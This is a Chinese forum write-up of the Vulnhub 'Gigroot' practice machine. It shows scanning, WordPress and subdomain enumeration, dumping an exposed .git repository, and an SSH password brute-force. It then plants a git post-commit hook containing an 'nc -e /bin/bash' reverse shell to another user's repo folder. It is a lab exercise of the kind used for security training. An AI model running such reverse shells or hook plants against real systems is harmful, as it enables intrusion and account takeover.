万有斥力 发表于 2023-4-30 21:02:39

Vulnhub之Gigroot靶机详细测试过程

Gigroot

识别目标主机IP地址

─(kali㉿kali)-[~/Vulnhub/Gigroot]
└─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
Currently scanning: 192.168.56.0/24   |   Screen View: Unique Hosts                                                         

3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                            
_____________________________________________________________________________
   IP            At MAC Address   Count   LenMAC Vendor / Hostname      
-----------------------------------------------------------------------------
192.168.56.1    0a:00:27:00:00:05      1      60Unknown vendor                                                            
192.168.56.10008:00:27:ab:4c:5b      1      60PCS Systemtechnik GmbH                                                   
192.168.56.10308:00:27:44:c8:1b      1      60PCS Systemtechnik GmbH 利用Kali Linux的netdiscover工具识别目标主机的IP地址为192.168.56.103
NMAP扫描

┌──(kali㉿kali)-[~/Vulnhub/Gigroot]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.103 -oN nmap_full_scan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-29 22:08 EDT
Nmap scan report for localhost (192.168.56.103)
Host is up (0.000075s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE   VERSION
22/tcp    openssh       OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 bf45f6b3e3ce0c69185a5b27e5d39c86 (RSA)
|   256 b5d7455006c4e23c2852b806261fdeb0 (ECDSA)
|_256 27f0d02113309c5ef070a1d85ca78f75 (ED25519)
80/tcp    openhttp      Apache httpd 2.4.38 ((Debian))
|_http-title: Hey Jen
|_http-server-header: Apache/2.4.38 (Debian)
11211/tcp openmemcache?
| fingerprint-strings:
|   RPCCheck:
|_    Unknown command
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port11211-TCP:V=7.93%I=7%D=4/29%Time=644DCDBD%P=x86_64-pc-linux-gnu%r(R
SF:PCCheck,27,"\x81\0\0\0\0\0\0\x81\0\0\0\x0f\0\0\0\x02\0\0\0\0\0\0\0\0Unk
SF:nown\x20command");
MAC Address: 08:00:27:44:C8:1B (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 85.92 secondsNMAP扫描结果表明目标主机有3个开放端口:22(ssh)、80(http)、11211(?)
获得Shell

┌──(kali㉿kali)-[~/Vulnhub/Gigroot]
└─$ curl http://192.168.56.103/                                                                     
<!doctype html>
<html>
      <head>
                <title>Hey Jen</title>
                </head>


      <body>
                <p> Hey Jen, just installed wordpress over at wp.gitroot.vuln <br> please go check it out! <p>
      </body>
</html>将wp.gitroot.vuln加入/etc/hosts文件中:
┌──(kali㉿kali)-[~/Vulnhub/Gigroot]
└─$ sudo vim /etc/hosts                                       

┌──(kali㉿kali)-[~/Vulnhub/Gigroot]
└─$ cat /etc/hosts            
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
192.168.56.103wp.gitroot.vuln此时访问url,从返回页面可知目标为Wordpress站点:
http://wp.gitroot.vuln/┌──(kali㉿kali)-[~/Vulnhub/Gigroot]
└─$ nikto -h http://wp.gitroot.vuln/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.56.103
+ Target Hostname:    wp.gitroot.vuln
+ Target Port:      80
+ Start Time:         2023-04-29 22:24:21 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'link' found, with contents: <http://wp.gitroot.vuln/index.php?rest_route=/>; rel="https://api.w.org/"
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ /: A Wordpress installation was found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login.php: Wordpress login found
+ 7863 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time:         2023-04-29 22:25:11 (GMT-4) (50 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested


      *********************************************************************
      Portions of the server's headers (Apache/2.4.38) are not in
      the Nikto 2.1.6 database or are newer than the known string. Would you like
      to submit this information (*no server specific data*) to CIRT.net
      for a Nikto update (or you may email to sullo@cirt.net) (y/n)? ──(kali㉿kali)-[~/Vulnhub/Gigroot]
└─$ gobuster dir -u http://wp.gitroot.vuln/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.js,.html,.txt,.sh,.bak
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://wp.gitroot.vuln/
[+] Method:                  GET
[+] Threads:               10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:            gobuster/3.3
[+] Extensions:            html,txt,sh,bak,php,js
[+] Timeout:               10s
===============================================================
2023/04/29 22:25:59 Starting gobuster in directory enumeration mode
===============================================================
/.php               (Status: 403)
/.html                (Status: 403)
/index.php            (Status: 301) [--> http://wp.gitroot.vuln/]
/wp-content         (Status: 301) [--> http://wp.gitroot.vuln/wp-content/]
/wp-login.php         (Status: 200)
/manual               (Status: 301) [--> http://wp.gitroot.vuln/manual/]
/wp-includes          (Status: 301) [--> http://wp.gitroot.vuln/wp-includes/]
/wp                   (Status: 403)
/javascript         (Status: 301) [--> http://wp.gitroot.vuln/javascript/]
/readme.html          (Status: 200)
/wp-trackback.php   (Status: 200)
/wp-admin             (Status: 301) [--> http://wp.gitroot.vuln/wp-admin/]
/xmlrpc.php         (Status: 405)
/.php               (Status: 403)
/.html                (Status: 403)
/wp-signup.php      (Status: 302) [--> http://wp.gitroot.vuln/wp-login.php?action=register]
/server-status      (Status: 403)
Progress: 1540385 / 1543927 (99.77%)===============================================================
2023/04/29 22:29:10 Finished
============================================================因为我们已知目标运行wordpress站点,因此从gobuster和nikto工具运行结果中没有看到除了wordpress相关的目录文件之外的信息。接下来看是否可以用wpscan工具扫描出用户名或者可利用的插件。
─(kali㉿kali)-[~/Vulnhub/Gigroot]
└─$ wpscan --url http://wp.gitroot.vuln/ -e u,p
[+] beth
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
|Rss Generator (Passive Detection)
|Author Id Brute Forcing - Author Pattern (Aggressive Detection)
|Login Error Messages (Aggressive Detection)wpscan工具扫描出用户名beth,看能否破解其密码。
(kali㉿kali)-[~/Vulnhub/Gigroot]
└─$ wpscan --url http://wp.gitroot.vuln/ -U beth -P /usr/share/wordlists/rockyou.txt没有破解出用户beth的密码,那看下可否扫描出插件。
─(kali㉿kali)-[~/Vulnhub/Gigroot]
└─$ wpscan --url http://wp.gitroot.vuln/ --plugins-detection mixed虽然扫描出插件akismet,但是该插件没有漏洞可利用。
会不会存在其他子域名?
将gitroot.vuln加入到/etc/hosts文件后,用wfuzz工具爆破子域名
┌──(kali㉿kali)-[~/Vulnhub/Gigroot]
└─$ wfuzz -c -u http://gitroot.vuln -H "Host:FUZZ.gitroot.vuln" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hw 26
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://gitroot.vuln/
Total requests: 220560

=====================================================================
ID         Response   Lines    Word       Chars       Payload                                                      
=====================================================================

000000001:   400      12 L   53 W       422 Ch      "# directory-list-2.3-medium.txt"                           
000000003:   400      12 L   53 W       422 Ch      "# Copyright 2007 James Fisher"                              
000000007:   400      12 L   53 W       422 Ch      "# license, visit http://creativecommons.org/licenses/by-sa/3
                                                      .0/"                                                         
000000012:   400      12 L   53 W       422 Ch      "# on at least 2 different hosts"                           
000000013:   400      12 L   53 W       422 Ch      "#"                                                         
000000011:   400      12 L   53 W       422 Ch      "# Priority ordered case-sensitive list, where entries were f
                                                      ound"                                                      
000000010:   400      12 L   53 W       422 Ch      "#"                                                         
000000009:   400      12 L   53 W       422 Ch      "# Suite 300, San Francisco, California, 94105, USA."      
000000002:   400      12 L   53 W       422 Ch      "#"                                                         
000000008:   400      12 L   53 W       422 Ch      "# or send a letter to Creative Commons, 171 Second Street,"
000000005:   400      12 L   53 W       422 Ch      "# This work is licensed under the Creative Commons"         
000000006:   400      12 L   53 W       422 Ch      "# Attribution-Share Alike 3.0 License. To view a copy of thi
                                                      s"                                                         
000000004:   400      12 L   53 W       422 Ch      "#"                                                         
000000793:   200      131 L    578 W      10697 Ch    "wp"                                                         
000002024:   400      12 L   53 W       422 Ch      "'"                                                         
000003790:   400      12 L   53 W       422 Ch      "%20"                                                      
000005302:   400      12 L   53 W       422 Ch      "$FILE"                                                      
000005954:   400      12 L   53 W       422 Ch      "$file"                                                      
000007004:   400      12 L   53 W       422 Ch      "*checkout*"                                                
000012898:   200      21 L   51 W       438 Ch      "repo" 发现出repo子域名,将其加入到/etc/hosts文件中去:
┌──(kali㉿kali)-[~/Vulnhub/Gigroot]
└─$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
192.168.56.103wp.gitroot.vuln
192.168.56.103gitroot.vuln
192.168.56.103repo.gitroot.vuln利用浏览器访问子域名repo,此次返回内容为:
┌──(kali㉿kali)-[~/Vulnhub/Gigroot]
└─$ curl http://repo.gitroot.vuln/
<!doctype html

<html>
<head>

    <title>Code storage</title>
</head>

<body>

      <h1 >Welcome to our code storage area, we are currently storing a bunch of code here</h1>
      <p >Feel free to search our code base at get.php or set code in set.php </p>
</body>

</html>用gobuster工具没有扫描出上述子域名下更有价值的文件或者目录
┌──(kali㉿kali)-[~/Vulnhub/Gigroot]
└─$ gobuster dir -u http://repo.gitroot.vuln -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.sh,.bak,.txt,.js
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://repo.gitroot.vuln
[+] Method:                  GET
[+] Threads:               10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:            gobuster/3.3
[+] Extensions:            php,html,sh,bak,txt,js
[+] Timeout:               10s
===============================================================
2023/04/30 06:07:55 Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403)
/index.php            (Status: 200)
/.php               (Status: 403)
/stats.php            (Status: 200)
/manual               (Status: 301) [--> http://repo.gitroot.vuln/manual/]
/get.php            (Status: 200)
/javascript         (Status: 301) [--> http://repo.gitroot.vuln/javascript/]
/set.php            (Status: 200)
/.php               (Status: 403)
/.html                (Status: 403)
/server-status      (Status: 403)
Progress: 1542281 / 1543927 (99.89%)===============================================================
2023/04/30 06:11:15 Finished
===============================================================nikto工具结果表明该子域名存在/.git目录,用githack工具将repo的文件clone到Kali Linux本地
──(kali㉿kali)-[~/Vulnhub/Gigroot]
└─$ nikto -h http://repo.gitroot.vuln
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.56.103
+ Target Hostname:    repo.gitroot.vuln
+ Target Port:      80
+ Start Time:         2023-04-30 06:11:29 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /.git/index: Git Index file may contain directory listing information.
+ /.git/HEAD: Git HEAD file found. Full repo details may be present.
+ /.git/config: Git config file found. Infos about repo details may be present.
+ 7863 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time:         2023-04-30 06:12:20 (GMT-4) (51 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested


      *********************************************************************
      Portions of the server's headers (Apache/2.4.38) are not in
      the Nikto 2.1.6 database or are newer than the known string. Would you like
      to submit this information (*no server specific data*) to CIRT.net
      for a Nikto update (or you may email to sullo@cirt.net) (y/n)? ┌──(kali㉿kali)-[~/Toolsets/GitHack]
└─$ python GitHack.py http://repo.gitroot.vuln/.git/
[+] Download and parse index file ...
[+] 33513a92c025212dd3ab564ca8682e2675f2f99bba5a7f521453d1deae7902aa.txt
[+] get.php
[+] index.php
[+] pablo_HELP.txt
[+] set.php
[+] stats.php
get.php
index.php
33513a92c025212dd3ab564ca8682e2675f2f99bba5a7f521453d1deae7902aa.txt
pablo_HELP.txt
set.php
stats.php先看能否破解pablo的密码
┌──(kali㉿kali)-[~/Toolsets/GitHack/repo.gitroot.vuln]
└─$ cat pablo_HELP.txt
I need help, something is wrong with this git repo

┌──(kali㉿kali)-[~/Toolsets/GitHack/repo.gitroot.vuln]
└─$ cat 33513a92c025212dd3ab564ca8682e2675f2f99bba5a7f521453d1deae7902aa.txt
pablo_S3cret_P@ss
beth_S3cret_P@ss
jen_S3cret_P@ss密码为mastergitar
─(kali㉿kali)-[~/Toolsets/GitHack/repo.gitroot.vuln]
└─$ hydra -l pablo -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.103   ┌──(kali㉿kali)-[~/Toolsets/GitHack/repo.gitroot.vuln]
└─$ ssh pablo@192.168.56.103                                       
The authenticity of host '192.168.56.103 (192.168.56.103)' can't be established.
ED25519 key fingerprint is SHA256:60rNw8fczihsSqs64B1Lf2E1VkCGOsuq8BTev2ELwLw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/)? yes
Warning: Permanently added '192.168.56.103' (ED25519) to the list of known hosts.
pablo@192.168.56.103's password:
Linux GitRoot 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue May 26 01:30:55 2020 from 192.168.56.1
pablo@GitRoot:~$ id
uid=1000(pablo) gid=1000(pablo) groups=1000(pablo)
pablo@GitRoot:~$ ls -alh
total 32K
drwxr-xr-x 4 pablo pablo 4.0K May 262020 .
drwxr-xr-x 5 rootroot4.0K May 262020 ..
lrwxrwxrwx 1 pablo pablo    9 May 262020 .bash_history -> /dev/null
-rw-r--r-- 1 pablo pablo220 May 252020 .bash_logout
-rw-r--r-- 1 pablo pablo 3.5K May 252020 .bashrc
drwx------ 3 pablo pablo 4.0K May 252020 .gnupg
-rw-r--r-- 1 pablo pablo807 May 252020 .profile
drwx-wx-wx 2 pablo pablo 4.0K May 252020 public
-rw-r--r-- 1 rootroot   871 May 262020 user.txt
pablo@GitRoot:~$ cat user.txt

_______ _               _                        _____      _   _      
|__   __| |               | |                        |__ \    | |   | |   
    | || |__   __ _ _ __ | | ___   _____   _| |__) |_ _| |__ | | ___
    | || '_ \ / _` | '_ \| |/ / | | | |/ _ \| | | | |___/ _` | '_ \| |/ _ \
    | || | | | (_| | | | |   <| |_| | (_) | |_| | | || (_| | |_) | | (_)
    |_||_| |_|\__,_|_| |_|_|\_\\__, |\___/ \__,_| |_|   \__,_|_.__/|_|\___/
                                    __/ |                                       
                                 |___/                                       



Great job! Do not falter, there is more to do. You made it this far, finish the race!

"It's not that I'm so smart. Its just that I stay with problems longer." - Albert Einstein

8a81007ea736a2b8a72a624672c375f9ac707b5e
pablo@GitRoot:~$ 需要找出另外一个git仓库
将linpeas.sh脚本上传至目标主机站点:
pablo@GitRoot:~/public$ ls -alh
total 12K
drwx-wx-wx 2 pablo pablo 4.0K May 252020 .
drwxr-xr-x 4 pablo pablo 4.0K May 262020 ..
-rw-r--r-- 1 bethbeth    58 May 252020 message.txt
pablo@GitRoot:~/public$ cat message.txt
Hey pablo

Make sure to check-out our brand new git repo!发现了一个新的git仓库:drwxr-xr-x 8 beth beth 4096 May 262020 /opt/auth/.git
进入该目录查看
══════════╣ Analyzing Github Files (limit 70)

-rw-r--r-- 1 jen jen 50 May 262020 /home/jen/.gitconfig


drwxr-xr-x 8 beth beth 4096 May 262020 /opt/auth/.git
drwxr-xr-x 8 root root 4096 May 252020 /var/www/repo/.git该目录下有很多文件,但是用sort命令查看,其中文件dev-43的大小不一样。
pablo@GitRoot:/opt/auth/.git/logs/refs/heads$ ls -alh | sort -n -r
total 804K
-rw-r--r-- 1 beth beth595 May 262020 dev-43
-rw-r--r-- 1 beth beth445 May 262020 dev-199
-rw-r--r-- 1 beth beth443 May 262020 dev-99
-rw-r--r-- 1 beth beth443 May 262020 dev-98发现了一个密码:r3vpdmspqdb, 很显然,因为新的.git目录属主是beth,因此该密码应该也是属于beth
切换到用户beth
pablo@GitRoot:/opt/auth/.git/logs/refs/heads$ cat dev-43
0000000000000000000000000000000000000000 fc9901f3b6b303d6ad40cdb71689f1646904f7b3 Your Name <you@example.com> 1590499965 -0400branch: Created from HEAD
fc9901f3b6b303d6ad40cdb71689f1646904f7b3 b2ab5f540baab4c299306e16f077d7a6f6556ca3 Your Name <you@example.com> 1590500014 -0400commit: init repo
b2ab5f540baab4c299306e16f077d7a6f6556ca3 06fbefc1da56b8d552cfa299924097ba1213dd93 Your Name <you@example.com> 1590500148 -0400commit: added some stuff
06fbefc1da56b8d552cfa299924097ba1213dd93 aaa283c708d79c692797339434664f4ba7accb25 Your Name <you@example.com> 1590500197 -0400commit: init repo
pablo@GitRoot:/opt/auth/.git/logs/refs/heads$ git show 06fbefc1da56b8d552cfa299924097ba1213dd93
commit 06fbefc1da56b8d552cfa299924097ba1213dd93
Author: Your Name <you@example.com>
Date:   Tue May 26 09:35:48 2020 -0400

    added some stuff

diff --git a/main.c b/main.c
index 70e6397..8af9b9c 100644
--- a/main.c
+++ b/main.c
@@ -4,6 +4,15 @@
int main(){

         char pass;
-       return 0;
+      scanf("%20s", pass);
+      printf("You put %s\n", pass);
+      if (strcmp(pass, "r3vpdmspqdb") == 0 ){
+                char *cmd[] = { "bash", (char *)0 };
+                execve("/bin/bash", cmd, (char *) 0);
+      }
+      else{
+                puts("BAD PASSWORD");
+      }
+      return 0;
}
-//43
+
(END)在beth目录下,新建.git/hooks文件夹,建一个post-commit文件,里面写入使用nc反弹shell的一句话,文件给777权限,再将.git文件夹压缩成zip格式,再给777权限
pablo@GitRoot:~$ su - beth
Password:
beth@GitRoot:~$
beth@GitRoot:~$ ls -alh
total 28K
drwxr-xr-x 5 beth beth 4.0K May 262020 .
drwxr-xr-x 5 root root 4.0K May 262020 ..
lrwxrwxrwx 1 beth beth    9 May 262020 .bash_history -> /dev/null
-rw-r--r-- 1 beth beth    0 May 252020 .bash_logout
-rw-r--r-- 1 beth beth 3.5K May 262020 .bashrc
drwx------ 3 beth beth 4.0K May 262020 .gnupg
drwxr-xr-x 3 beth beth 4.0K May 252020 .local
-rw-r--r-- 1 beth beth807 May 262020 .profile
drwx-wx-wx 2 beth beth 4.0K May 262020 public复制压缩包到/home/jen/public/repos目录下
beth@GitRoot:~$ mkdir -p .git/hooks
beth@GitRoot:~$ cd .git/hooks/
beth@GitRoot:~/.git/hooks$ vim post-commit
beth@GitRoot:~/.git/hooks$ cat post-commit
#!/bin/bash
nc -e /bin/bash 192.168.56.206 6666
beth@GitRoot:~/.git/hooks$ chmod 777 post-commit
beth@GitRoot:~/.git/hooks$ cd ~
beth@GitRoot:~$ 7z a xshell.zip.git/

7-Zip 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,1 CPU Intel(R) Core(TM) i7-9700 CPU @ 3.00GHz (906ED),ASM,AES-NI)

Scanning the drive:
2 folders, 1 file, 48 bytes (1 KiB)

Creating archive: xshell.zip

Items to compress: 3


Files read from disk: 1
Archive size: 482 bytes (1 KiB)
Everything is Ok
beth@GitRoot:~$ chmod 777 xshell.zip
beth@GitRoot:~$ beth@GitRoot:~$ chmod 777 xshell.zip
beth@GitRoot:~$ cp xshell.zip /home/jen/public/reposjen的密码是binzpbeocnexoe
提权

jen@GitRoot:~$ cat .viminfo
cat .viminfo
# This viminfo file was generated by Vim 8.1.
# You may edit it if you're careful!

# Viminfo version
|1,4

# Value of 'encoding' when this file was written
*encoding=utf-8


# hlsearch on (H) or off (h):
~h
# Command Line History (newest to oldest):
:wq
|2,0,1590471909,,"wq"
:q!
|2,0,1590471893,,"q!"
:Q!
|2,0,1590471892,,"Q!"

# Search String History (newest to oldest):
?/binzpbeocnexoe
|2,1,1590471908,47,"binzpbeocnexoe"
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